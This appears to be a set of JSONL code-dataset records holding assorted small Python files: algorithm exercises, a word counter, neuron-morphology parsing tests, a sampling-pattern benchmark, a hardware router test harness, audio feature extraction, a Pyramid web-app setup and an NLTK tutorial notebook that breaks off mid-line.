+{"seq_id":"438871830","text":"'''\nGiven scores of N athletes, find their relative ranks and the people with the top three highest scores, \nwho will be awarded medals: \"Gold Medal\", \"Silver Medal\" and \"Bronze Medal\".\n\nExample 1:\nInput: [5, 4, 3, 2, 1]\nOutput: [\"Gold Medal\", \"Silver Medal\", \"Bronze Medal\", \"4\", \"5\"]\nExplanation: The first three athletes got the top three highest scores, so they got \"Gold Medal\", \n\"Silver Medal\" and \"Bronze Medal\". \nFor the left two athletes, you just need to output their relative ranks according to their scores.\nNote:\nN is a positive integer and won't exceed 10,000.\nAll the scores of athletes are guaranteed to be unique.\n'''\n\ndef relative_ranks(nums):\n scores = sorted([(score, num) for num, score in enumerate(nums)], reverse = True)\n ranks = [None] * len(nums)\n \n for index, val in enumerate(scores): \n ranks[val[1]] = str(index + 1)\n \n if len(ranks) > 0: ranks[scores[0][1]] = 'Gold Medal'\n if len(ranks) > 1: ranks[scores[1][1]] = 'Silver Medal'\n if len(ranks) > 2: ranks[scores[2][1]] = 'Bronze Medal'\n \n return ranks\n\n\n\n","sub_path":"algorithms/greedy/relative_ranks.py","file_name":"relative_ranks.py","file_ext":"py","file_size_in_byte":1077,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"51"} +{"seq_id":"451229229","text":"#!/usr/local/bin/python3 -tt\n\n#importing the debugger\nimport pdb\nimport sys\n\n\ndef countWords (filename):\n\n\tf = open (filename, 'r')\n\t\n\tword_dict = {}\n\twords = []\n\t\n\tall_lines = f.readlines()\n\tfor line in all_lines:\n#\t\tprint ( line )\t\t\t\t\t # read a line at a time\n\n\t\tline_of_words = line.split () # split up all the words from the newly read line\n#\t\tprint ( line_of_words )\t\t\n\t\t\n\t\tfor word in line_of_words:\n\t\t\twords.append ( word ) # take all the words from the newly read line and add it to the words list\n\t\t\n#\tprint (words)\n\t\n#\tprint ( sorted (words) )\n#\tsorted_words = sorted (words)\n\t\n\tfor single in words:\t\t\n\t\tif single in word_dict:\n\t\t\tword_dict [single] += 1\n\t\telse:\n\t\t\tword_dict [single] = 1\n\t\n#\tfor key in word_dict:\n#\t\tprint ( key, word_dict[key] )\n\n\t\t\t\t\n#\tprint (word_dict)\n\n\tprint ()\n\tprint ( sorted (word_dict.keys()) )\n\tprint ()\n\n\tfor key in sorted (word_dict.keys()): # print dictionary sorted by keys\n\t\tprint ( key, word_dict[key] )\n\t\n\tprint ()\n\tprint ( sorted (word_dict.values()) )\n\tprint ()\n\n\tfor value in sorted (word_dict.values()): # print dictionary sorted by values\n\t\tprint ( value, word_dict[value] )\n\n\n\n\n\n\n\tf.close ()\n\n\ndef main ():\n\t\n\tcountWords (sys.argv[1])\n\t\n\t\n#\tstart debugging session\n#\tpdb.set_trace()\n\n\n\n# This is the standard boilerplate that calls the main() function.\nif __name__ == '__main__':\n\tmain ()\n\t","sub_path":"word_count.py","file_name":"word_count.py","file_ext":"py","file_size_in_byte":1350,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"51"} +{"seq_id":"607955446","text":"from btmorph2.SWCParsing import SWCParsing\n\ndef testCC():\n \"\"\"\n Test if connected components are being detected properly\n \"\"\"\n\n swcFile = \"tests/117.v3dpbd/03_117.v3dpbd_NeuroGPSTree.swc\"\n temp = SWCParsing(swcFile)\n assert temp.numberOfTrees() == len(temp.checkAndReturnFeasibleGraphsWithTypeLineNumber())\n\ndef test_soma_type_3ps():\n \"\"\"\n Test if SWC 3-point soma description is correctly recognized\n \"\"\"\n temp = SWCParsing(\"tests/v_e_moto1.CNG.swc\")\n swcTree = temp.checkAndReturnFeasibleGraphsWithTypeLineNumber()[0]\n soma_type = SWCParsing.determine_soma_type(swcTree)\n assert(soma_type == 1)\n\n\ndef test_soma_type_1ps1():\n \"\"\"\n Test if SWC 1-point soma description is correctly recognized\n \"\"\"\n temp = SWCParsing(\"tests/v_e_purk2.CNG.swc\")\n swcTree = temp.checkAndReturnFeasibleGraphsWithTypeLineNumber()[0]\n soma_type = SWCParsing.determine_soma_type(swcTree)\n assert(soma_type == 0)\n\n\ndef test_soma_type_1ps2():\n \"\"\"\n Test if SWC 1-point soma description is correctedly recognized\n \"\"\"\n temp = SWCParsing(\"tests/soma_types/1220882a.CNG.swc\")\n swcTree = temp.checkAndReturnFeasibleGraphsWithTypeLineNumber()[0]\n soma_type = SWCParsing.determine_soma_type(swcTree)\n assert(soma_type == 0)\n\n\ndef test_soma_type_mc():\n \"\"\"\n Test if SWC multiple cylinder soma description is correctly recognized\n \"\"\"\n temp = SWCParsing(\"tests/soma_types/l22.CNG.swc\")\n swcTree = temp.checkAndReturnFeasibleGraphsWithTypeLineNumber()[0]\n soma_type = SWCParsing.determine_soma_type(swcTree)\n assert(soma_type == 2)\n\nif __name__ == \"__main__\":\n test_soma_type_1ps1()\n test_soma_type_1ps2()\n test_soma_type_3ps()\n test_soma_type_mc()","sub_path":"tests/swcParsing_test.py","file_name":"swcParsing_test.py","file_ext":"py","file_size_in_byte":1731,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"51"} +{"seq_id":"589369095","text":"from nltk.tokenize import sent_tokenize\n\n\ndef lines(a, b):\n \"\"\"Return lines in both a and b\"\"\"\n list_a = a.split(sep=\"\\n\")\n list_b = b.split(sep=\"\\n\")\n\n return list_compare(list_a, list_b)\n\n\ndef sentences(a, b):\n \"\"\"Return sentences in both a and b\"\"\"\n list_a = sent_tokenize(a)\n list_b = sent_tokenize(b)\n\n return list_compare(list_a, list_b)\n\n\ndef substrings(a, b, n):\n \"\"\"Return substrings of length n in both a and b\"\"\"\n list_a = get_substrings(a, n)\n list_b = get_substrings(b, n)\n\n return list_compare(list_a, list_b)\n\n\ndef get_substrings(a, n):\n \"\"\"Returns a list of substrings of size n\"\"\"\n output = []\n\n temp = len(a) - n + 1\n\n for i in range(temp):\n output.append(a[i:n + i])\n\n return output\n\ndef list_compare(a, b):\n \"\"\"Compares two lists and returns a list of items in common\"\"\"\n output = []\n\n for i in a:\n for j in b:\n if i == j and j not in output:\n output.append(j)\n\n return output","sub_path":"helpers.py","file_name":"helpers.py","file_ext":"py","file_size_in_byte":999,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"51"} +{"seq_id":"494354171","text":"from __future__ import division\nimport math\nimport numpy as np\nimport time\n\n\n# ======================================================================\n#\n# function: js_python_v1.js_generator()\n#\n# This function generates JS sampling patterns.\n#\n# function version 1.0 (18th December 2013)\n#\n# --------------------------------------------------------------------\n# input: (6)\n#\n# 1. tau: [number] Time of a sampling pattern\n#\n#\n# 2. Tg: [number] Grid period\n#\n#\n# 3. fdag_s: [number] Wanted average sampling frequency\n#\n#\n# 4. sigma: [number] Sigma parameter\n#\n#\n# 5. N: [number] The number of patterns to be generated\n#\n#\n# 6. iSeed: [number] Seed value for random generator\n# If == nan, then the generator will not be seed\n#\n# --------------------------------------------------------------------\n# output (0):\n#\n# ======================================================================\ndef js_generator(tau, Tg, fdag_s, sigma, N, iSeed):\n\n if not np.isnan(iSeed):\n np.random.seed(iSeed)\n\n # Loop over all patterns\n for inxP in range(N):\n\n # =================================================================\n # PRECALCULATIONS\n\n # -----------------------------------------------------------------\n # Calculate the real time of the sampling pattern\n\n # Calculate the number of grid points in the sampling period\n K_g = math.floor(tau/Tg) # equation (22)\n\n # Calculate the real time of the sampling pattern\n hattau = K_g * Tg # equation (22)\n\n # Calculate the expected number of sampling points in a pattern\n hatKdag_s = int(round(hattau*fdag_s)) # equation (22)\n\n # Calculate the expected sampling frequency\n hatfdag_s = hatKdag_s/hattau # equation (23)\n\n # Calculate the expected sampling period\n hatTdag_s = 1/hatfdag_s # equation (23)\n\n # -----------------------------------------------------------------\n # Recalculate to the grid\n\n # The expected sampling period\n hatNdag_s = round(hatTdag_s/Tg) # equation (23)\n\n # =================================================================\n\n # =================================================================\n\n # ------------------------------------------\n # Generate a vector with a sampling pattern\n vPattern = _js_engine(hatKdag_s, hatNdag_s, K_g, sigma)\n # ------------------------------------------\n\n # =================================================================\n\n # =================================================================\n # STORE THE PATTERNS\n\n if inxP == 0:\n mPatternsGrid = np.tile(vPattern, (N, 1))\n\n # Reset the max size of a pattern\n (iSMaxPatt,) = vPattern.shape\n\n else:\n\n # Get the size of the generated pattern\n (iS_v,) = vPattern.shape\n\n # Update the max size of a pattern\n iSMaxPatt = max((iS_v, iSMaxPatt))\n\n # Get the number of rows and columns in the matrix with patterns\n (iR_m, iC_m) = mPatternsGrid.shape\n\n # Check the inequalities between matrix with vectors and\n # the current vector\n if iS_v < iC_m: # <- the size of a\n # generated pattern\n # is lower than the\n # number of columns\n # in the storage\n # matrix\n\n # Calculate the size of empty space in the pattern\n iEmpty = iC_m - iS_v\n\n # Update the pattern (fill up the empty spaces with -1s)\n vPatch = -1 * np.ones(iEmpty)\n vPattern = np.hstack((vPattern, vPatch))\n\n elif iS_v > iC_m: # <- the size of a\n # generated pattern\n # is higher than the\n # number of columns\n # in the storage matrix\n\n # The size of empty space in the storage matrix\n iEmpty = iS_v - iC_m\n\n # Update the storage matrix\n mPatch = (-1) * np.ones((iR_m, iEmpty))\n mPatternsGrid = np.hstack((mPatternsGrid, mPatch))\n\n # Store the generated pattern\n mPatternsGrid[inxP, :] = vPattern\n\n # =================================================================\n\n # Clip the matrix with patterns\n vInx = range(0, iSMaxPatt)\n mPatternsGrid = mPatternsGrid[:, vInx]\n\n # =================================================================\n\n return mPatternsGrid\n\n\n# =====================================================================\n#\n# function: js_python_v1._js_engine()\n#\n# This function generates one JS sampling pattern.\n#\n# function version 1.0 (18th December 2013)\n#\n# --------------------------------------------------------------------\n# input: (4)\n#\n# 1. hatKdag_s: [number] The number of wanted sampling points\n# in a pattern\n#\n#\n# 2. hatNdag_s: [number] The expected sampling period\n# (expressed in the number of grid points)\n#\n#\n# 3. K_g: [number] The number of grid points in a pattern\n#\n#\n# 4. sigma: [number] Sigma parameter\n#\n#\n# --------------------------------------------------------------------\n# output (1):\n#\n# 1. vPattern: [number] Time of a sampling pattern\n#\n# =====================================================================\ndef _js_engine(hatKdag_s, hatNdag_s, K_g, sigma):\n\n # -----------------------------------------------------------------\n # Allocate the vector for the sampling points\n vPattern = np.nan*np.zeros(2*hatKdag_s)\n\n # Reset the index of stored time point\n hatk = 0 # equation (24)\n\n # Reset the current index of the grid\n n_hatk = 0 # equation (24)\n\n # -----------------------------------------------------------------\n # Draw all time points\n for inxSmp in range(1, hatKdag_s+1):\n\n # Draw the current time point # equation (25)\n x_k = np.random.randn()\n nstar_hatk = \\\n round(inxSmp*hatNdag_s + math.sqrt(sigma) * x_k * hatNdag_s)\n\n # Store the time point in the vector,\n # if it is somewhere in the sampling time due\n # and was not drawn yet\n if nstar_hatk > 0 and nstar_hatk <= K_g:\n\n # Store the time point\n n_hatk = nstar_hatk\n vPattern[hatk-1] = n_hatk\n hatk = hatk + 1\n\n # Check if the whole vector vPattern was\n # already filled up. If so, make it longer\n nSiz = vPattern.size\n if hatk == nSiz:\n vExtraSpace = np.nan*np.zeros(hatKdag_s)\n vPattern = np.hstack((vPattern, vExtraSpace))\n\n # -----------------------------------------------------------------\n # Clear the pattern\n vPattern = vPattern[np.equal(np.isnan(vPattern), False)]\n\n # -----------------------------------------------------------------\n # Remove repeated moments\n vPattern = np.unique(vPattern)\n\n # -----------------------------------------------------------------\n return vPattern\n\n\n# =====================================================================\n#\n# Trigger when start as a script\n#\n# =====================================================================\nif __name__ == '__main__':\n\n # ==================================================================\n # SAMPLING PATTERNS SETTINGS:\n\n # time duration of a sam pling patterns\n tS = 1e-3 # 1 [ms]\n\n # Grid period\n Tg = 1e-6 # 1 [us]\n\n # Average sampling frequency\n fR = 100e3 # 100 [kHz]\n\n # The variance parameter\n iVar = 0.1\n\n # The number of patterns to be generated\n nPatts = int(1e4)\n\n # ==================================================================\n\n # ==================================================================\n # TIMING SETTINGS:\n\n # Size of a block with repetitions\n REPS = int(10)\n\n # The minimum number of repetitions\n MIN_REPS = int(20)\n\n # The maximum number of repetitions\n MAX_REPS = int(100)\n\n # Convergence margin [s]\n CONV_MARG = 0.1\n\n # Convergence computed for how many last repetitions\n CONV_REPS = int(10)\n\n # ==================================================================\n\n # ==================================================================\n # TIMING STARTS HERE\n\n # Start the timer\n tStart = time.time()\n\n js_generator(tS, Tg, fR, iVar, nPatts, np.nan)\n\n # Stop the timer and compute the time\n iT = time.time() - tStart\n\n # Timing ends here!\n # ==================================================================\n\n # Print the time to the console\n print('%.2f') % (iT)\n","sub_path":"speed_benchmarks/sbench_generators/time_js_naive.py","file_name":"time_js_naive.py","file_ext":"py","file_size_in_byte":9322,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"51"} +{"seq_id":"638024814","text":"#=========================================================================\r\n# MeshRouter_test.py\r\n#=========================================================================\r\n\r\nfrom __future__ import print_function\r\n\r\nimport pytest\r\nimport hypothesis\r\nfrom hypothesis import strategies as st\r\n\r\nfrom pymtl import *\r\nfrom pclib.test import TestSource, TestNetSink, mk_test_case_table\r\nfrom pclib.ifcs import NetMsg\r\n\r\nfrom net.RingRouterRTL import RingRouterRTL\r\nfrom TestHelper import mk_router_msgs, mk_msg\r\n#-------------------------------------------------------------------------\r\n# TestHarness\r\n#-------------------------------------------------------------------------\r\n\r\nclass TestHarness( Model ):\r\n\r\n def __init__( s, RouterModel, router_id, num_ports,\r\n src_msgs, sink_msgs, src_delay, sink_delay,\r\n num_routers, opaque_nbits, payload_nbits,\r\n dump_vcd=False, test_verilog=False ):\r\n\r\n s.src_msgs = src_msgs\r\n s.sink_msgs = sink_msgs\r\n s.src_delay = src_delay\r\n s.sink_delay = sink_delay\r\n s.num_ports = num_ports\r\n s.num_routers = num_routers\r\n s.payload_nbits = payload_nbits\r\n s.opaque_nbits = opaque_nbits\r\n s.addr_nbits = clog2(num_routers)\r\n\r\n msg_type = NetMsg( num_routers, 2**opaque_nbits, payload_nbits )\r\n\r\n s.src = [ TestSource ( msg_type, s.src_msgs[x], s.src_delay )\r\n for x in xrange( num_ports ) ]\r\n\r\n\r\n s.router = RouterModel\r\n\r\n s.sink = [ TestNetSink ( msg_type, s.sink_msgs[x], s.sink_delay )\r\n for x in xrange( num_ports ) ]\r\n\r\n for x in range( num_ports ):\r\n print ('src [{}]:{}'.format(x,s.src_msgs[x]))\r\n print ('sink[{}]:{}'.format(x,s.sink_msgs[x]))\r\n # Dump VCD\r\n\r\n if dump_vcd:\r\n s.router.vcd_file = dump_vcd\r\n if hasattr(s.router, 'inner'):\r\n s.router.inner.vcd_file = dump_vcd\r\n\r\n\r\n # Translation\r\n\r\n if test_verilog:\r\n s.router = TranslationTool( s.router )\r\n\r\n # Connect\r\n for i in range( num_ports ):\r\n s.connect( s.router.in_[i], s.src[i].out )\r\n s.connect( s.router.out[i], s.sink[i].in_ )\r\n\r\n s.connect( s.router.router_id, router_id )\r\n\r\n def done( s ):\r\n done_flag = 1\r\n for i in xrange( s.num_ports ):\r\n done_flag &= s.src[i].done and s.sink[i].done\r\n return done_flag\r\n\r\n def line_trace( s ):\r\n \r\n in_ = '|'.join( [ x.out.to_str( \"%02s:%1s>%1s\" % ( x.out.msg[s.payload_nbits:s.payload_nbits+s.opaque_nbits],\r\n x.out.msg[s.payload_nbits+s.opaque_nbits:s.payload_nbits+s.opaque_nbits+s.addr_nbits],\r\n x.out.msg[s.payload_nbits+s.opaque_nbits+s.addr_nbits:s.payload_nbits+s.opaque_nbits+s.addr_nbits*2] ) )\r\n for x in s.src ] )\r\n out = '|'.join( [ x.in_.to_str( \"%02s:%1s>%1s\" % ( x.in_.msg[s.payload_nbits:s.payload_nbits+s.opaque_nbits],\r\n x.in_.msg[s.payload_nbits+s.opaque_nbits:s.payload_nbits+s.opaque_nbits+s.addr_nbits],\r\n x.in_.msg[s.payload_nbits+s.opaque_nbits+s.addr_nbits:s.payload_nbits+s.opaque_nbits+s.addr_nbits*2] ) )\r\n for x in s.sink ] )\r\n return in_ + ' > ' + s.router.line_trace() + ' > '+ out\r\n\r\n#-------------------------------------------------------------------------\r\n# run_router_test\r\n#-------------------------------------------------------------------------\r\n\r\ndef run_router_test( RouterModel, router_id,\r\n src_delay, sink_delay, test_msgs,\r\n dump_vcd = False, test_verilog = False,\r\n num_routers = 4, opaque_nbits = 8, payload_nbits = 32 ):\r\n\r\n # src/sink msgs\r\n\r\n src_msgs = test_msgs[0]\r\n sink_msgs = test_msgs[1]\r\n\r\n # Instantiate and elaborate the model, num_ports = 3\r\n\r\n model = TestHarness( RouterModel, router_id, 3,\r\n src_msgs, sink_msgs, src_delay, sink_delay,\r\n num_routers, opaque_nbits, payload_nbits,\r\n dump_vcd, test_verilog )\r\n\r\n model.vcd_file = dump_vcd\r\n model.test_verilog = test_verilog\r\n model.elaborate()\r\n\r\n # Create a simulator using the simulation tool\r\n\r\n sim = SimulationTool( model )\r\n\r\n # Run the simulation\r\n\r\n print()\r\n\r\n sim.reset()\r\n while not model.done() and sim.ncycles < 1000:\r\n sim.print_line_trace()\r\n sim.cycle()\r\n\r\n # Add a couple extra ticks so that the VCD dump is nicer\r\n\r\n sim.cycle()\r\n sim.cycle()\r\n sim.cycle()\r\n\r\n # Check for success\r\n\r\n if not model.done():\r\n raise AssertionError( \"Simulation did not complete!\" )\r\n#-------------------------------------------------------------------------\r\n# End of Test Harness\r\n#-------------------------------------------------------------------------\r\n\r\n#-------------------------------------------------------------------------\r\n# Helpers\r\n#-------------------------------------------------------------------------\r\ndef y_dimension_order_routing(router_id, row_min, row_max,src, dest):\r\n row_wid = row_max-row_min+1\r\n # determine tsrc tsink based on y-dimension order routing\r\n tsrc = 0\r\n tsink = 0\r\n if src == router_id:\r\n tsrc = 4\r\n elif (src % row_wid) < (router_id % row_wid):\r\n tsrc = 0\r\n elif (src % row_wid) > (router_id % row_wid):\r\n tsrc = 2\r\n elif router_id < row_min:\r\n tsrc = 1\r\n else:\r\n tsrc = 3\r\n # determin tsink\r\n if dest == router_id:\r\n tsink = 4\r\n elif dest < row_min:\r\n tsink = 1\r\n elif dest > row_max:\r\n tsink = 3\r\n elif dest < router_id:\r\n tsink = 0\r\n else:\r\n tsink = 2\r\n return (tsrc,tsink)\r\n\r\ndef gen_router_msgs(router_id, \r\n src, dest, opaque, payload,\r\n nrouter=4,num_ports=5,\r\n payload_nbits=32,opaque_nbits=8 ):\r\n tsrc, tsink = y_dimension_order_routing(router_id, row_min, row_max,src, dest)\r\n return mk_router_msgs( num_ports,\r\n# tsrc tsink src dest opaque payload\r\n [ ( tsrc, tsink, src, dest, opaque, payload )\r\n #( 0x4, 0x3, 0, 2, 0x01, 0xff ), # deliver directly to #2\r\n #( 0x2, 0x4, 1, 0, 0x02, 0xde ), # pass it through\r\n #( 0x2, 0x4, 3, 0, 0x03, 0xad ),\r\n #( 0x4, 0x4, 0, 0, 0x04, 0xdd ),\r\n ]\r\n )\r\n\r\ndef gen_src_sink_msgs( nrouters, num_ports, msg_list):\r\n src_msgs = [ [] for x in xrange(num_ports) ]\r\n sink_msgs = [ [] for x in xrange(num_ports) ]\r\n\r\n for x in msg_list:\r\n tsrc, tsink, src, dest, opaque, payload = x[0], x[1], x[2], x[3], x[4], x[5]\r\n\r\n msg = mk_msg( src, dest, opaque, payload, num_ports=nrouters )\r\n src_msgs [tsrc].append( msg )\r\n sink_msgs[tsink].append( msg )\r\n\r\n return [ src_msgs, sink_msgs ] \r\n#-------------------------------------------------------------------------\r\n# Test case: very basic messages\r\n#-------------------------------------------------------------------------\r\n# The testing approach for the router is basically the following.\r\n# - tsrc: which _input port_ the router is getting a message from.\r\n# - tsink: the _expected port_ the router should forward to.\r\n# - src and dest are the _router ids_ for the _actual network_\r\n#\r\n# For example, say the router is number 2 (the parameter is at the bottom\r\n# of this file), and we want to test if the router directly forward a\r\n# message from inport #1 (input terminal) with src=dest=2 to output port\r\n# #1 (output terminal).\r\n# If your router fail to forward this message to the correct output port,\r\n# the simulation will hang or fail, since the test sink connected\r\n# to outport#1 expects to get a message but there is really no message\r\n# for it, or some other test sink receives an unexpected message.\r\n\r\ndef very_basic_msgs( i ):\r\n\r\n nrouters = 4\r\n num_ports = 3\r\n\r\n pre = (i-1) % nrouters\r\n nxt = (i+1) % nrouters\r\n\r\n return gen_src_sink_msgs( nrouters, num_ports,\r\n# tsrc tsink src dest opaque payload\r\n [ ( 0x0, 0x1, 0, 2, 0x01, 0xff ),\r\n ( 0x0, 0x1, 0, 2, 0x01, 0xff ),\r\n ( 0x0, 0x1, 0, 2, 0x01, 0xff ),\r\n ( 0x0, 0x1, 0, 2, 0x01, 0xff ),\r\n ( 0x2, 0x1, 3, 1, 0x01, 0xff ),\r\n ( 0x2, 0x1, 3, 1, 0x01, 0xff ),\r\n ( 0x2, 0x1, 3, 1, 0x01, 0xff ),\r\n ( 0x2, 0x1, 3, 1, 0x01, 0xff ),\r\n ( 0x2, 0x1, 3, 1, 0x01, 0xff ),\r\n #( 0x4, 0x4, 0, 0, 0x01, 0xff ), \r\n #( 0x2, 0x4, 1, 0, 0x02, 0xde ), \r\n #( 0x2, 0x4, 3, 0, 0x03, 0xad ),\r\n #( 0x4, 0x4, 0, 0, 0x04, 0xdd ),\r\n ]\r\n )\r\n\r\n#-------------------------------------------------------------------------\r\n# Test Case Table\r\n#-------------------------------------------------------------------------\r\n\r\ntest_case_table = mk_test_case_table([\r\n ( \"msgs routerid src_delay sink_delay\"),\r\n [ \"vbasic_0\", very_basic_msgs(0), 0, 0, 0 ]\r\n\r\n])\r\n\r\n#-------------------------------------------------------------------------\r\n# Run tests\r\n#-------------------------------------------------------------------------\r\n\r\n@pytest.mark.parametrize( **test_case_table )\r\ndef test_default( test_params, dump_vcd, test_verilog ):\r\n nrouters = 4\r\n run_router_test( RingRouterRTL(num_routers = nrouters), test_params.routerid,\r\n test_params.src_delay, test_params.sink_delay,\r\n test_params.msgs, dump_vcd, test_verilog,\r\n num_routers = nrouters )\r\n\r\n#-------------------------------------------------------------------------\r\n# Hypothesis tests\r\n#-------------------------------------------------------------------------\r\n\r\n\"\"\"\r\n@hypothesis.strategies.composite\r\ndef router_test_msg(draw,mesh_wid,mesh_ht,router_id):\r\n nrouter = mesh_wid * mesh_ht\r\n row_min = (router_id/mesh_wid)*mesh_wid\r\n row_max = row_min + mesh_wid-1\r\n src = draw(st.integers(0,nrouter-1))\r\n dest = draw(st.integers(0,nrouter-1))\r\n tsrc,tsink = y_dimension_order_routing(router_id, row_min, row_max,src,dest)\r\n opaque = draw(st.integers(1,0xff ))\r\n payload = draw(st.integers(0,0xffffffff))\r\n return (tsrc,tsink,src,dest,opaque,payload)\r\n\r\n# Test a square mesh\r\n@hypothesis.given(\r\n nrouter_log2 = st.integers( 2,32 ),\r\n router_id = st.integers( 0,1024 ),\r\n src_delay = st.integers( 0,50 ),\r\n sink_delay = st.integers( 0,50 ),\r\n test_msgs = st.data()\r\n )\r\ndef test_hypothesis_square( nrouter_log2,router_id,\r\n src_delay, sink_delay, test_msgs, \r\n dump_vcd,test_verilog ):\r\n # Assume router id always smaller than number of routers\r\n hypothesis.assume( router_id str:\n \"\"\"\n :param filename_without_extension:\n :param dump_dir:\n :return:\n >>> get_dump_path('asabsdfgasg', '/var/tmp')\n /var/tmp/asabsdfgasg.npy\n \"\"\"\n return os.path.join(dump_dir, filename_without_extension + DUMP_FILENAME_EXTENSION)\n\n\ndef extract_audio_features(filename: Union[str, bytes, os.PathLike]) -> List[np.ndarray]:\n \"\"\"\n :param filename:\n :return: list of features for each full minute\n \"\"\"\n print(f'Extracting audio features from file {filename}...')\n with warnings.catch_warnings():\n new_input, sample_rate = lbr.load(filename, mono=True)\n features: np.ndarray = lbr.feature.melspectrogram(new_input, **MEL_KWARGS).T\n features[features == 0] = 1e-6\n return split_equal_chunks(np.log(features), MINUTE_LENGTH)\n\n\ndef save_audio_features(features: List[np.ndarray], dump_dir: str) -> Optional[str]:\n \"\"\"\n :param track_id: track id to save\n :param features: track's features\n :param dump_dir: directory to save dump\n :return: dump filename without extension\n \"\"\"\n if os.path.isfile(dump_dir):\n return None\n\n if not os.path.isdir(dump_dir):\n os.mkdir(dump_dir)\n\n filename_without_extension = ''.join(\n random.choice(string.ascii_letters) for _ in range(DUMP_FILENAME_LENGTH))\n output_path = get_dump_path(filename_without_extension, dump_dir)\n np.save(output_path, features)\n return filename_without_extension\n\n\ndef split_equal_chunks(l: List, chunk_size: int):\n \"\"\"\n Ignores tail after last chunk\n >>> split_equal_chunks(list(range(10)), 3)\n [[0, 1, 2], [3, 4, 5], [6, 7, 8]]\n >>> split_equal_chunks(list(range(10)), 2)\n [[0, 1], [2, 3], [4, 5], [6, 7], [8, 9]]\n :param l:\n :param chunk_size:\n :return:\n \"\"\"\n return [l[i - chunk_size: i] for i in range(chunk_size, len(l) + 1, chunk_size)]\n","sub_path":"service/version-split/emotions/app/features.py","file_name":"features.py","file_ext":"py","file_size_in_byte":2335,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"51"} +{"seq_id":"9423606","text":"from app import lib\n\ndef dequeue_times(queue, n_times):\n c = None\n for i in range(n_times):\n c = fila.dequeue()\n return c\n\ntext = \"ojRggcfEtScraPeoOukeSzwtTeAof-dbCobtEqrRjtTsmfsluA\"\nsteps = [3, 5, 2, 4, 3, 4, 4, 2, 3, 3, 4, 3, 3, 7]\nfila = lib.Queue(False)\n\nfor c in text:\n fila.enqueue(c)\n\nresult = \"\"\nfor step in steps:\n result += dequeue_times(fila, step)\n\nprint(result)","sub_path":"thiagob/exercises/lesson_09/exec_03.py","file_name":"exec_03.py","file_ext":"py","file_size_in_byte":396,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"51"} +{"seq_id":"177916452","text":"from pyramid.config import Configurator\nfrom pyramid_beaker import session_factory_from_settings\n\nfrom .helpers.setting import gsettings\n\n\ndef main(global_config, **settings):\n \"\"\" This function returns a Pyramid WSGI application.\n \"\"\"\n config = Configurator(settings=settings)\n\n cache_max_age = int(global_config.get('cache.max_age'))\n config.add_static_view('static', 'static', cache_max_age=cache_max_age)\n\n public_dir = global_config.get('public.dir')\n public_files = global_config.get('public.files').split()\n config.add_asset_views(public_dir, filenames=public_files)\n\n config.add_request_method(gsettings, 'gsettings', reify=True)\n\n session_factory = session_factory_from_settings(settings)\n config.set_session_factory(session_factory)\n\n config.set_default_csrf_options(require_csrf=True)\n\n config.scan()\n return config.make_wsgi_app()\n","sub_path":"py/alchemified/app/app/__init__.py","file_name":"__init__.py","file_ext":"py","file_size_in_byte":885,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"51"} +{"seq_id":"149077744","text":"# -*- coding: utf-8 -*-\nimport re\n\ndef find_qa(source, input_file):\n f_data = open(input_file, 'r')\n str_data = f_data.readlines()\n f_data.close()\n f_source = open(source, 'r')\n str_source = f_source.readline()\n f_source.close()\n str_match = r'.*?(\\?|' + str_source + r').*'\n re_match = re.compile(str_match)\n f_output = open('result.data', 'w', encoding = 'utf-8')\n i = 1\n mmax = len(str_data)\n while i < mmax:\n if re_match.match(str_data[i]) and str_data[i-1] != '\\n':\n f_output.write(str_data[i-1])\n f_output.write(str_data[i])\n f_output.write('\\n')\n i += 1\n pass\n f_output.close()\n\nsource = input('Please input the source: ')\ninput_file = input('Please input the data: ')\nfind_qa(source, input_file)\n","sub_path":"sample.py","file_name":"sample.py","file_ext":"py","file_size_in_byte":797,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"52"} +{"seq_id":"450427733","text":"#count positive and negative numbers in a list\nList=[-2,3,-5,6,3,4,-1]\nneg,pos=0,0\nfor i in List:\n if i>=0:\n pos+=1\n else:\n neg+=1\nprint(\"Positive number in list:\",pos)\nprint(\"Negative number in the list:\",neg)\n #Using while loop\nlist=[0,4,5,-4,-3]\nneg,pos=0,0\nnum=0\nwhile num=0:\n pos+=1\n elif list[num]<0:\n neg+=1\n num+=1\nprint(\"The positive number in list:\",pos)\nprint(\"The negative number in list:\",neg)\n\ndef neg_pos(x):\n neg,pos=0,0\n for i in x:\n if i>=0:\n pos+=1\n elif i<0:\n neg+=1\n return pos,neg\nprint(neg_pos([-2,-3,4,1,5,0]))\n","sub_path":"+ve_-ve_list.py","file_name":"+ve_-ve_list.py","file_ext":"py","file_size_in_byte":649,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"52"} +{"seq_id":"123383778","text":"#!/usr/bin/env python\n# coding: utf-8\n\n# # I. ACCESSING LEXICAL RESOURCE\n\n# ### 1. STOPWORDS\n\n# In[1]:\n\n\nfrom nltk.corpus import stopwords\n\n\n# In[2]:\n\n\nstopwords.words('english')\n\n\n# ## 2. CMU WORDLIST \n\n# In[3]:\n\n\nimport nltk\n\n\n# In[4]:\n\n\nentries = nltk.corpus.cmudict.entries()\n\n\n# In[5]:\n\n\nlen(entries)\n\n\n# In[10]:\n\n\nfor entry in entries [10000:10050]:\n print(entry)\n\n\n# ## 3. WORDNET\n\n# In[11]:\n\n\nfrom nltk.corpus import wordnet as wn\n\n\n# In[13]:\n\n\nwn.synsets('motorcar')\n\n\n# In[15]:\n\n\nwn.synset('car.n.01').lemma_names()\n\n\n# # II. NLP PIPELINE\n\n# In[16]:\n\n\nimport nltk\n\n\n# In[17]:\n\n\ntexts=['''William Bradley Pitt (born December 18, 1963) is an American actor and film producer. \nHe has received multiple awards, \nincluding two Golden Globe Awards for his acting,\nand an Academy Award and a Primetime Emmy Award as producer under his production company, \nPlan B Entertainment.''']\n\n\n# In[19]:\n\n\nfor text in texts:\n sentences = nltk.sent_tokenize(text)\n for sentence in sentences:\n words = 